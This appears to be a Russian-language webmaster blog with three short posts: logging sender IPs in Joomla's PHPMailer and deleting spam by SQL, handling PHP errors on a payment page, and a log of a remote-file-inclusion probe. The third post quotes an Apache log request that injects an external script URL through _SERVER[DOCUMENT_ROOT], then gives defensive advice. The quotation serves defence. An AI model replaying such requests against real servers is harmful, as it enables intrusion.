Отслеживаем IP

В джумле (и подобных изваяниях) часто встречается компонент отвечающий за отправку почты – PHPMailer. Очень полезным свойством этой приблуды этого класса есть маркировка письма заголовком со своей версией. Выглядит эта строка так (файл libraries/phpmailer/phpmailer.php):

$result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');

Это хорошо, но иногда не мешало бы видеть IP-адрес отправителя письма с сайта. Для этого под этой строчкой следует добавить:

$result .= $this->HeaderLine('X-Original-IP', $_SERVER['REMOTE_ADDR']);

Обозвать заголовок можно как угодно, главное, что будет видно, что это такое.

Если на сайте завелся спамер, то по IP-адресу можно будет быстро сделать выборку по таблице базы и удалить спамовые сообщения.

Можно еще сделать выборку по ключевым словам в сообщениях:

select id, ip, content from jos_phocaguestbook_items where content like '%viagra%' limit 5;

А затем:

delete from jos_phocaguestbook_items where id=6;

IP в заголовке может помочь при борьбе со спамерами, которые коверкают названия таблэток, например пишут "V1agra" и т.п., шаблон составить сложно, а по IP сделать выборку и забанить гада будет очень просто.


Теги: , , , , , , , , , , ,

Ошибочное программирование

Сегодня пытался оплатить услуги “ВобляКобель” через платежную систему money.ua. После непродолжительной паузы, получил следующую ошибку:

Warning: SoapClient::__construct(http://stat.voliacable.com:8080/wspay/PayService?wsdl) [function.--construct]: failed to open stream: Connection refused in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 33
Warning: SoapClient::__construct() [function.--construct]: I/O warning : failed to load external entity "http://stat.voliacable.com:8080/wspay/PayService?wsdl" in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 33
Fatal error: Error responding from payment gateway, gateway overload. Please, try again later in /usr/local/sites/moneyua/public_html/volia.com/index.php on line 40
Error responding from payment gateway, gateway overload. Please, try again later

И вот мне подумалось, что нужно все-таки перехватывать ошибки в функциях (в PHP есть возможность перехватывать любую ошибку и натравливать на нее свою написанную функцию, которой можно выводить сообщение клиенту, а саму ошибку отправлять себе на почту или складывать в базу данных, кому как удобнее). Просто потому что какой-то нехороший человек может заняться поиском уязвимостей, мало ли. Паранойя иногда помогает избеганию проблем.


Теги: , , , , , ,

Скрипткиды или боты

Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.

/var/log/messages:
Oct  4 03:23:34 220 suhosin[28420]: ALERT – tried to register forbidden variable ‘_SERVER[DOCUMENT_ROOT]‘ through GET variables (attacker ‘77.242.37.212‘, file ‘/xxx/domain.tld/index.php’)

Пример запроса (из лога апача):
211.111.213.195 – - [05/Oct/2009:08:26:22 +0300] “GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1″ 302 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)”

Файл IDtest.txt все еще доступен для скачивания. Видимо никто еще на него не жаловался или хостинг игнорирует абузы.

Как защититься?

a) обновите PHP;
b) не включайте register_globals (оставьте Off);
c) дополнительно можете пользоваться патчем/модулем suhosin.


Теги: , , , , , , , , , , ,